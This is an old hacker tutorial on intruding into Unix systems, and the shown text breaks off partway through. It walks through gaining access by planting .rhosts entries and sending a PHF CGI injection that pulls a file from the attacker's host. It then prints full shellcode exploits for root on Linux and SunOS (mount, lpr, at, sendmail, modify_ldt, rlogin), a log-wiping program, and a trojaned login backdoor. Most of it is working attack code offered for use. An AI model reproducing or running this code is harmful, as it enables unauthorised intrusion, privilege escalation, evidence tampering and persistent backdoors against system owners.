1024 Jul 12 14:20 ftp/
1 drwxrx-r-x
3 john
100
1024 Jul 6 13:42 john/
1 drwxrx-r-x
3 139
100
1024 Sep 15 12:24 paul/
1 -rw-------
1 root
root
1 drwx------
3 test
100
1024 Oct 8 21:05 test/
100
1024 Oct 20 18:57 rapper/
1 drwx------ 15 102
242 Mar 9 1997 sudoers
Well, we wanna hack into rapper's home.
mysite:~>id
uid=0 euid=0
mysite:~>whoami
root
mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd
We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history
forget it on the remote server...
mysite:~>su - rapper
and you might
Welcome to rapper's user.
mysite:~>ls -lsa /tmp/mount/
total 9
1 drwxrwxr-x
8 root
root
1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root
root
1024 Oct 8 13:42 ../
1 drwxr-xr-x
3 at1
users
1024 Jun 22 19:18 at1/
1 dr-xr-xr-x
8 ftp
wheel
1024 Jul 12 14:20 ftp/
1 drwxrx-r-x
3 john
100
1024 Jul 6 13:42 john/
1 drwxrx-r-x
3 139
100
1024 Sep 15 12:24 paul/
1 -rw-------
1 root
root
1 drwx------
3 test
100
1024 Oct 8 21:05 test/
daemon
1024 Oct 20 18:57 rapper/
1 drwx------ 15 rapper
242 Mar 9 1997 sudoers
So we own this guy's home directory...
mysite:~>echo "+ +" > rapper/.rhosts
mysite:~>cd /
mysite:~>rlogin victim1.site.com
Welcome to Victim.Site.Com.
SunOs ver....(crap).
victim1:~$
This is the first method...
Another method could be to see if the site has an open 80 port. That would
mean that the site has a web page.
(And that's very bad, 'cuz it usually it's vulnerable).
Below I include the source of a scanner that helped me when NMAP wasn't written.
(Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor).
NMAP is a scanner that does even stealth scanning, so lots of systems won't
record it.
/* -*-C-*- tcpprobe.c */
/* tcpprobe - report on which tcp ports accept connections */
/* IO ERROR, error@axs.net, Sep 15, 1995 */
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>
int main(int argc, char **argv)
{
int probeport = 0;
struct hostent *host;
int err, i, net;
struct sockaddr_in sa;
if (argc != 2) {
printf("Usage: %s hostname\n", argv[0]);
exit(1);
}
for (i = 1; i < 1024; i++) {
strncpy((char *)&sa, "", sizeof sa);
sa.sin_family = AF_INET;
if (isdigit(*argv[1]))
sa.sin_addr.s_addr = inet_addr(argv[1]);
else if ((host = gethostbyname(argv[1])) != 0)
strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
else {
herror(argv[1]);
exit(2);
}
sa.sin_port = htons(i);
net = socket(AF_INET, SOCK_STREAM, 0);
if (net < 0) {
perror("\nsocket");
exit(2);
}
err = connect(net, (struct sockaddr *) &sa, sizeof sa);
if (err < 0) {
printf("%s %-5d %s\r", argv[1], i, strerror(errno));
fflush(stdout);
} else {
printf("%s %-5d accepted.
\n", argv[1], i);
if (shutdown(net, 2) < 0) {
perror("\nshutdown");
exit(2);
}
}
close(net);
}
printf("
\r");
fflush(stdout);
return (0);
}
Well, now be very carefull with the below exploits, because they usually get
logged.
Besides, if you really wanna get a source file from /cgi-bin/ use this
sintax : lynx http://www.victim1.com//cgi-bin/finger
If you don't wanna do that, then do a :
mysite:~>echo "+ +" > /tmp/rhosts
mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+
/root/.rhosts" | nc -v - 20 victim1.site.com 80
then
mysite:~>rlogin -l root victim1.site.com
Welcome to Victim1.Site.Com.
victim1:~#
Or, maybe, just try to find out usernames and passwords...
The usual users are "test", "guest", and maybe the owner of the site...
I usually don't do such things, but you can...
Or if the site is really old, use that (quote site exec) old bug for
wu.ftpd.
There are a lot of other exploits, like the remote exploits (innd, imap2,
pop3, etc...) that you can find at rootshell.connectnet.com or at
dhp.com/~fyodor.
Enough about this topic. (besides, if you can finger the site, you can
figgure out usernames and maybe by guessing passwords (sigh!) you could get
access to the site).
Step 2: Hacking r00t.
______
First you have to find the system it's running...
a). LINUX
ALL versions:
A big bug for all linux versions is mount/umount and (maybe) lpr.
/* Mount Exploit for Linux, Jul 30 1996
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
:::::::...........:::...........:::...........::.......:......:.......::::::
:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/mount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
/*LPR exploit:I don't know the author...*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET
50
#define BUFFER_SIZE
1023
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
void main()
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
int i;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<2;i++)
*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
b.) Version's 1.2.* to 1.3.2
NLSPATH env. variable exploit:
/* It's really annoying for users and good for me...
AT exploit gives only uid=0 and euid=your_usual_euid.
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define path "/usr/bin/at"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("AT exploit discovered by me, _PHANTOM_ in 1997.\n");
setenv("NLSPATH",buff,1);
execl(path, "at",NULL);
}
SENDMAIL exploit: (don't try to chmod a-s this one... :) )
/* SENDMAIL Exploit for Linux
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define path "/usr/bin/sendmail"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("SENDMAIL exploit discovered by me, _PHANTOM_ in
1997\n");
setenv("NLSPATH",buff,1);
execl(path, "sendmail",NULL);
}
MOD_LDT exploit (GOD, this one gave such a headache to my Sysadmin (ROOT)
!!!)
/* this is a hack of a hack. a valid System.map was needed to get this
sploit to werk.. but not any longer.. This sploit will give you root
if the modify_ldt bug werks.. which I beleive it does in any kernel
before 1.3.20 ..
QuantumG
*/
/* original code written by Morten Welinder.
*
* this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
* 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
* 2. the _task in the System.map file has no leading underscore.
* I am not sure at what point these were changed, if you are
* using this on a newer kernel compile with NEWERKERNEL defined.
*
-ReD
*/
#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
#ifdef NEWERKERNEL
#include <asm/sigcontext.h>
#endif
#define __KERNEL__
#include <linux/sched.h>
#include <linux/module.h>
static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long,
bytecount)
#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
unsigned char res;
asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
: "=a" (res)
: "r" (seg), "r" (ofs));
return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
: /* No results.
*/
: "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
while (size-- > 0)
*(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
while (size-- > 0)
__farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
int stat, i,j,k;
struct modify_ldt_ldt_s ldt_entry;
FILE *syms;
char line[100];
struct task_struct **task, *taskptr, thistask;
struct kernel_sym blah[4096];
printf ("Bogusity checker for modify_ldt system call.\n");
printf ("Testing for page-size limit bug...\n");
ldt_entry.entry_number = 0;
ldt_entry.base_addr = 0xbfffffff;
ldt_entry.limit = 0;
ldt_entry.seg_32bit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
ldt_entry.read_exec_only = 0;
ldt_entry.limit_in_pages = 1;
ldt_entry.seg_not_present = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
/* Continue after reporting error.
*/
printf ("This bug has been fixed in your kernel.\n");
else
{
printf ("Shit happens: ");
printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
}
printf ("Testing for expand-down limit bug...\n");
ldt_entry.base_addr = 0x00000000;
ldt_entry.limit = 1;
ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
ldt_entry.limit_in_pages = 0;
stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
if (stat)
{
printf ("This bug has been fixed in your kernel.\n");
return 1;
}
else
{
printf ("Shit happens: ");
printf ("0x00000000 - 0xfffffffd is accessible.\n");
}
i = get_kernel_syms(blah);
k = i+10;
for (j=0; j<i; j++)
if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
if (k==i+10) { printf("current not found!!!\n"); return(1); }
j=k;
taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));
taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
printf("Current process is %i\n",thistask.pid);
taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
memgetseg (&thistask, 7, taskptr, sizeof (thistask));
if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
printf("Parent process is %i\n",thistask.pid);
thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
memputseg (7, taskptr, &thistask, sizeof (thistask));
printf ("Shit happens: parent process is now root process.\n");
return 0;
};
c.) Other linux versions:
Sendmail exploit:
#/bin/sh
#
#
#
Hi !
#
This is exploit for sendmail smtpd bug
#
(ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#
This shell script does a root shell in /tmp directory.
#
If you have any problems with it, drop me a letter.
#
Have fun !
#
#
#
----------------------
#
---------------------------------------------
#
-----------------
Dedicated to my beautiful lady
------------------
#
---------------------------------------------
#
----------------------
#
#
Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo
'main()
'>>leshka.c
echo
'{
'>>leshka.c
echo
' execl("/usr/sbin/sendmail","/tmp/smtpd",0);
'>>leshka.c
echo
'}
'>>leshka.c
echo
'main()
'>>smtpd.c
echo
'{
'>>smtpd.c
echo
' setuid(0); setgid(0);
'>>smtpd.c
echo
' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");
'>>smtpd.c
echo
'}
'>>smtpd.c
#
#
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head
-n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
echo "Now type:
/tmp/sh"
SUNOS:
Rlogin exploit:
(arghh!)
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#define BUF_LENGTH
8200
#define EXTRA
100
#define STACK_OFFSET
4000
#define SPARC_NOP
0xa61cc013
u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode);
long_p = (u_long *) buf;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
targ_addr = get_sp() - STACK_OFFSET;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ = targ_addr;
printf("Jumping to address 0x%lx\n", targ_addr);
execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
perror("execl failed");
}
Want more exploits? Get 'em from other sites (like rootshell,
dhp.com/~fyodor, etc...).
Step 3: Covering your tracks:
______
For this you could use lots of programs like zap, utclean, and lots of
others...
Watch out, ALWAYS after you cloaked yourself to see if it worked do a:
victim1:~$ who
...(crap)...
victim1:~$ finger
...;as;;sda...
victim1:~$w
...
If you are still not cloaked, look for wtmpx, utmpx and other stuff like
that. The only cloaker (that I know) that erased me even from wtmpx/utmpx
was utclean. But I don't have it right now, so ZAP'll have to do the job.
/*
Title:
Zap.c (c) rokK Industries
Sequence:
Syztems:
Note:
911204.B
Kompiles on SunOS 4.+
To mask yourself from lastlog and wtmp you need to be root,
utmp is go+w on default SunOS, but is sometimes removed.
Kompile:
Run:
Desc:
cc -O Zap.c -o Zap
Zap <Username>
Will Fill the Wtmp and Utmp Entries corresponding to the
entered Username. It also Zeros out the last login data for
the specific user, fingering that user will show 'Never Logged
In'
Usage:
If you cant find a usage for this, get a brain.
*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
int f;
void kill_tmp(name,who)
char *name,
*who;
{
struct utmp utmp_ent;
if ((f=open(name,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int
argc;
char *argv[];
{
if (argc==2) {
kill_tmp("/etc/utmp",argv[1]);
kill_tmp("/usr/adm/wtmp",argv[1]);
kill_lastlog(argv[1]);
printf("Zap!\n");
} else
printf("Error.\n");
}
Step 4: Keeping that account.
_______
This usually means that you'll have to install some programs to give you
access even if the root has killed your account...
(DAEMONS!!!) =>|-@
Here is an example of a login daemon from the DemonKit (good job,
fellows...)
LOOK OUT !!! If you decide to put a daemon, be carefull and modify it's date
of creation. (use touch --help to see how!)
/*
This is a simple trojanized login program, this was designed for Linux
and will not work without modification on linux. It lets you login as
either a root user, or any ordinary user by use of a 'magic password'.
It will also prevent the login from being logged into utmp, wtmp, etc.
You will effectively be invisible, and not be detected except via 'ps'.
*/
#define BACKDOOR
int
"password"
krad=0;
/* This program is derived from 4.3 BSD software and is
subject to the copyright notice below.
The port to HP-UX has been motivated by the incapability
of 'rlogin'/'rlogind' as per HP-UX 6.5 (and 7.0) to transfer window sizes.
Changes:
- General HP-UX portation. Use of facilities not available
in HP-UX (e.g. setpriority) has been eliminated.
Utmp/wtmp handling has been ported.
- The program uses BSD command line options to be used
in connection with e.g. 'rlogind' i.e. 'new login'.
- HP features left out:
logging of bad login attempts in /etc/btmp,
they are sent to syslog
password expiry
'*' as login shell, add it if you need it
- BSD features left out:
quota checks
password expiry
analysis of terminal type (tset feature)
- BSD features thrown in:
Security logging to syslogd.
This requires you to have a (ported) syslog
system -- 7.0 comes with syslog
'Lastlog' feature.
- A lot of nitty gritty details has been adjusted in favour of
HP-UX, e.g. /etc/securetty, default paths and the environment
variables assigned by 'login'.
- We do *nothing* to setup/alter tty state, under HP-UX this is
to be done by getty/rlogind/telnetd/some one else.
Michael Glad (glad@daimi.dk)
Computer Science Department
Aarhus University
Denmark
1990-07-04
1991-09-24 glad@daimi.aau.dk: HP-UX 8.0 port:
- now explictly sets non-blocking mode on descriptors
- strcasecmp is now part of HP-UX
1992-02-05 poe@daimi.aau.dk: Ported the stuff to Linux 0.12
From 1992 till now (1995) this code for Linux has been maintained at
ftp.daimi.aau.dk:/pub/linux/poe/
*/
/*
* Copyright (c) 1980, 1987, 1988 The Regents of the University of California.
* All rights reserved.
*
* Redistribution and use in source and binary forms are permitted
* provided that the above copyright notice and this paragraph are
* duplicated in all such forms and that any documentation,
* advertising materials, and other materials related to such
* distribution and use acknowledge that the software was developed
* by the University of California, Berkeley.
The name of the
* University may not be used to endorse or promote products derived
* from this software without specific prior written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
* WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
char copyright[] =
"@(#) Copyright (c) 1980, 1987, 1988 The Regents of the University of California.\n\
All rights reserved.\n";
#endif /* not lint */
#ifndef lint
static char sccsid[] = "@(#)login.c
#endif /* not lint */
5.40 (Berkeley) 5/9/89";
/*
* login [ name ]
* login -h hostname
(for telnetd, etc.)
* login -f name (for pre-authenticated login: datakit, xterm, etc.)
*/
/* #define TESTING */
#ifdef TESTING
#include "param.h"
#else
#include <sys/param.h>
#endif
#include <ctype.h>
#include <unistd.h>
#include <getopt.h>
#include <memory.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/file.h>
#include <termios.h>
#include <string.h>
#define index strchr
#define rindex strrchr
#include <sys/ioctl.h>
#include <signal.h>
#include <errno.h>
#include <grp.h>
#include <pwd.h>
#include <setjmp.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/syslog.h>
#include <sys/sysmacros.h>
#include <netdb.h>
#ifdef TESTING
#
include "utmp.h"
#else
#
include <utmp.h>
#endif
#ifdef SHADOW_PWD
#include <shadow.h>
#endif
#ifndef linux
#include <tzfile.h>
#include <lastlog.h>
#else
struct lastlog
{ long ll_time;
char ll_line[12];
char ll_host[16];
};
#endif
#include "pathnames.h"
#define P_(s) ()
void opentty P_((const char *tty));
void getloginname P_((void));
void timedout P_((void));
int rootterm P_((char *ttyn));
void motd P_((void));
void sigint P_((void));
void checknologin P_((void));
void dolastlog P_((int quiet));
void badlogin P_((char *name));
char *stypeof P_((char *ttyid));
void checktty P_((char *user, char *tty));
void getstr P_((char *buf, int cnt, char *err));
void sleepexit P_((int eval));
#undef P_
#ifdef
KERBEROS
#include <kerberos/krb.h>
#include <sys/termios.h>
char
realm[REALM_SZ];
int
kerror = KSUCCESS, notickets = 1;
#endif
#ifndef linux
#define TTYGRPNAME
"tty"
/* name of group to own ttys */
#else
#
define TTYGRPNAME
#
ifndef MAXPATHLEN
#
"other"
define MAXPATHLEN 1024
#
endif
#endif
/*
* This bounds the time given to login. Not a define so it can
* be patched on machines where it's too small.
*/
#ifndef linux
int
timeout = 300;
#else
int
timeout = 60;
#endif
struct
passwd *pwd;
int
failures;
char
term[64], *hostname, *username, *tty;
char
thishost[100];
#ifndef linux
struct
sgttyb sgttyb;
struct
tchars tc = {
CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK
};
struct
ltchars ltc = {
CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT
};
#endif
char *months[] =
{ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug",
"Sep", "Oct", "Nov", "Dec" };
/* provided by Linus Torvalds 16-Feb-93 */
void
opentty(const char * tty)
{
int i;
int fd = open(tty, O_RDWR);
for (i = 0 ; i < fd ; i++)
close(i);
for (i = 0 ; i < 3 ; i++)
dup2(fd, i);
if (fd >= 3)
close(fd);
}
int
main(argc, argv)
int argc;
char **argv;
{
extern int errno, optind;
extern char *optarg, **environ;
struct timeval tp;
struct tm *ttp;
struct group *gr;
register int ch;
register char *p;
int ask, fflag, hflag, pflag, cnt;
int quietlog, passwd_req, ioctlval;
char *domain, *salt, *ttyn, *pp;
char tbuf[MAXPATHLEN + 2], tname[sizeof(_PATH_TTY) + 10];
char *ctime(), *ttyname(), *stypeof();
time_t time();
void timedout();
char *termenv;
#ifdef linux
char tmp[100];
/* Just as arbitrary as mountain time: */
/* (void)setenv("TZ", "MET-1DST",0); */
#endif
(void)signal(SIGALRM, timedout);
(void)alarm((unsigned int)timeout);
(void)signal(SIGQUIT, SIG_IGN);
(void)signal(SIGINT, SIG_IGN);
(void)setpriority(PRIO_PROCESS, 0, 0);
#ifdef HAVE_QUOTA
(void)quota(Q_SETUID, 0, 0, 0);
#endif
/*
* -p is used by getty to tell login not to destroy the environment
* -f is used to skip a second login authentication
* -h is used by other servers to pass the name of the remote
*
host to login so that it may be placed in utmp and wtmp
*/
(void)gethostname(tbuf, sizeof(tbuf));
(void)strncpy(thishost, tbuf, sizeof(thishost)-1);
domain = index(tbuf, '.');
fflag = hflag = pflag = 0;
passwd_req = 1;
while ((ch = getopt(argc, argv, "fh:p")) != EOF)
switch (ch) {
case 'f':
fflag = 1;
break;
case 'h':
if (getuid()) {
(void)fprintf(stderr,
"login: -h for super-user only.\n");
exit(1);
}
hflag = 1;
if (domain && (p = index(optarg, '.')) &&
strcasecmp(p, domain) == 0)
*p = 0;
hostname = optarg;
break;
case 'p':
pflag = 1;
break;
case '?':
default:
(void)fprintf(stderr,
"usage: login [-fp] [username]\n");
exit(1);
}
argc -= optind;
argv += optind;
if (*argv) {
username = *argv;
ask = 0;
} else
ask = 1;
#ifndef linux
ioctlval = 0;
(void)ioctl(0, TIOCLSET, &ioctlval);
(void)ioctl(0, TIOCNXCL, 0);
(void)fcntl(0, F_SETFL, ioctlval);
(void)ioctl(0, TIOCGETP, &sgttyb);
sgttyb.sg_erase = CERASE;
sgttyb.sg_kill = CKILL;
(void)ioctl(0, TIOCSLTC, &ltc);
(void)ioctl(0, TIOCSETC, &tc);
(void)ioctl(0, TIOCSETP, &sgttyb);
/*
* Be sure that we're in
* blocking mode!!!
* This is really for HPUX
*/
ioctlval = 0;
(void)ioctl(0, FIOSNBIO, &ioctlval);
#endif
for (cnt = getdtablesize(); cnt > 2; cnt--)
close(cnt);
ttyn = ttyname(0);
if (ttyn == NULL || *ttyn == '\0') {
(void)sprintf(tname, "%s??", _PATH_TTY);
ttyn = tname;
}
setpgrp();
{
struct termios tt, ttt;
tcgetattr(0, &tt);
ttt = tt;
ttt.c_cflag &= ~HUPCL;
if((chown(ttyn, 0, 0) == 0) && (chmod(ttyn, 0622) == 0)) {
tcsetattr(0,TCSAFLUSH,&ttt);
signal(SIGHUP, SIG_IGN); /* so vhangup() wont kill us */
vhangup();
signal(SIGHUP, SIG_DFL);
}
setsid();
/* re-open stdin,stdout,stderr after vhangup() closed them */
/* if it did, after 0.99.5 it doesn't! */
opentty(ttyn);
tcsetattr(0,TCSAFLUSH,&tt);
}
if (tty = rindex(ttyn, '/'))
++tty;
else
tty = ttyn;
openlog("login", LOG_ODELAY, LOG_AUTH);
for (cnt = 0;; ask = 1) {
ioctlval = 0;
#ifndef linux
(void)ioctl(0, TIOCSETD, &ioctlval);
#endif
if (ask) {
fflag = 0;
getloginname();
}
checktty(username, tty);
(void)strcpy(tbuf, username);
if (pwd = getpwnam(username))
salt = pwd->pw_passwd;
else
salt = "xx";
/* if user not super-user, check for disabled logins */
if (pwd == NULL || pwd->pw_uid)
checknologin();
/*
* Disallow automatic login to root; if not invoked by
* root, disallow if the uid's differ.
*/
if (fflag && pwd) {
int uid = getuid();
passwd_req = pwd->pw_uid == 0 ||
(uid && uid != pwd->pw_uid);
}
/*
* If trying to log in as root, but with insecure terminal,
* refuse the login attempt.
*/
if (pwd && pwd->pw_uid == 0 && !rootterm(tty)) {
